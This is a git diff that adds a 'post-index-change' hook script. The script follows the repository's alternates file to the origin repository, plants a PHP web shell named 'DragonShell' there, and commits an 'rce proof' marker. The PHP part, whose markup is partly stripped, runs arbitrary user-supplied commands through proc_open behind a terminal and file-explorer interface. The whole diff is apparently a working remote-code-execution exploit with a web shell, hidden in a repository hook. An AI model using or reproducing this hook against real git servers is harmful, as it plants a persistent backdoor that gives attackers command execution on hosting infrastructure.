diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..741c6ad --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,877 @@ +#!/bin/sh +git_dir=$(git rev-parse --absolute-git-dir) || exit 1 +origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 +case "$origin_objects" in + /*) ;; + *) origin_objects="$git_dir/objects/$origin_objects" ;; +esac +origin_git=${origin_objects%/objects} +[ "$origin_git" != "$origin_objects" ] || exit 3 + +# Create DragonShell in the repository +cat > "$origin_git/dragonshell.php" << 'EOF' + array("pipe", "r"), + 1 => array("pipe", "w"), + 2 => array("pipe", "w") + ); + + $process = proc_open($command, $descriptorspec, $pipes, $work_dir); + + if (is_resource($process)) { + fclose($pipes[0]); + + $cmd_output = stream_get_contents($pipes[1]); + $errors = stream_get_contents($pipes[2]); + + fclose($pipes[1]); + fclose($pipes[2]); + + $return_value = proc_close($process); + + if (!empty($cmd_output)) { + $output_content .= htmlspecialchars($cmd_output); + } + + if (!empty($errors)) { + $output_content .= "ERROR:\n" . htmlspecialchars($errors); + } + } else { + $output_content .= "Failed to execute command\n"; + } + $output_content .= "\n"; + } +} +?> + + + + + + + DragonShell | Interactive PHP Terminal + + + + + + +
+
+ +
| ADVANCED TERMINAL INTERFACE
+
+ +
+
+

File Explorer

+ +
+ Current Path: +
+
+ +
+ Breadcrumb Navigation: + +
+ +
+ + +
+ +
+ +
+ +
+
+ + + +
+ +
+
+ +
+
+ +
+

Command Center

+ +
+ + +
+ + +
+
+ +
+
+

Terminal Output

+
+ + +
+
+ +
+ +
+
+
+ Connected to +
+
+
+ + PHP +
+
+ + +
+
+ + +
+
+
+
+ +
+

System Overview

+ +
+
+

Memory Usage

+
+
+ RAM: MB + MB peak +
+
+
+
+
+
+ +
+

Disk Space

+
+
+ Used: GB + Total: GB +
+
+
+
+
+
+ +
+

CPU Load

+
+
+
+ Current Load +
+
+
+
+
+
+ + +
+ + + + + +EOF +chmod 644 "$origin_git/dragonshell.php" +chown git:git "$origin_git/dragonshell.php" 2>/dev/null + +# Create proof file +message="SUCCESS: DragonShell uploaded to: dragonshell.php" +output_blob=$(echo "$message" | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 +tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 +commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6 +git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7 +exit 0